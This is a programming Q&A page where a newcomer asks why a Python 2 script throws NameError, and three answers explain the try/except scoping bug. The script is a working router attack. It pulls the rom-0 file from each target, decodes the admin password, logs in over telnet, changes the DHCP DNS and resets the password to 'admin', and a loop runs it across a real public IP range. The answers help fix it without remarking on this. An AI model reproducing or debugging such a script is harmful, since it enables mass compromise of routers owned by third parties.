NameError: name 'host' is not defined

问题:

I'm new in python programming. When i try running a simple python script i get error like this in my terminal

root@bt:/tmp# python code.py Traceback (most recent call last): File "code.py", line 42, in <module> print host+" -> Offline!" NameError: name 'host' is not defined 

I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me? This is my script like this :

from poster.encode import multipart_encode from poster.streaminghttp import register_openers from netaddr import IPNetwork import urllib2 import urllib import re import getpass import sys import telnetlib import time import os import socket import sys socket.setdefaulttimeout(4)  register_openers()  try:     os.remove("rom-0") except:     pass try:     host=str(sys.argv[1])     urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")      datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})      request = urllib2.Request("http://localhost/decoded.php", datagen, headers)      str1 = urllib2.urlopen(request).read()     m = re.search('rows=10>(.*)', str1)     if m:         found = m.group(1)        tn = telnetlib.Telnet(host, 23, 3)              tn.read_until("Password: ")      tn.write(found + "\n")      tn.write("set lan dhcpdns 8.8.8.8\n")     tn.write("sys password admin\n")     print host+" -> Success"      tn.write("exit\n") except:     print host+" -> Offline!" 

How i can fix error like this.? Thanks

If i put : host=str(sys.argv[1]) before try.except show error like this :

Traceback (most recent call last): File "code.py", line 17, in host=str(sys.argv[1]) IndexError: list index out of range

And this is my input :

from netaddr import IPNetwork import os for ip in IPNetwork ('41.108.48.1/24'):     os.system("python code.py "+str(ip)) 

回答1:

Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.

You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.

回答2:

it seem that your script expects an input parameter

host=str(sys.argv[1])

in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined

try to declare host before the try/except block

回答3:

you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

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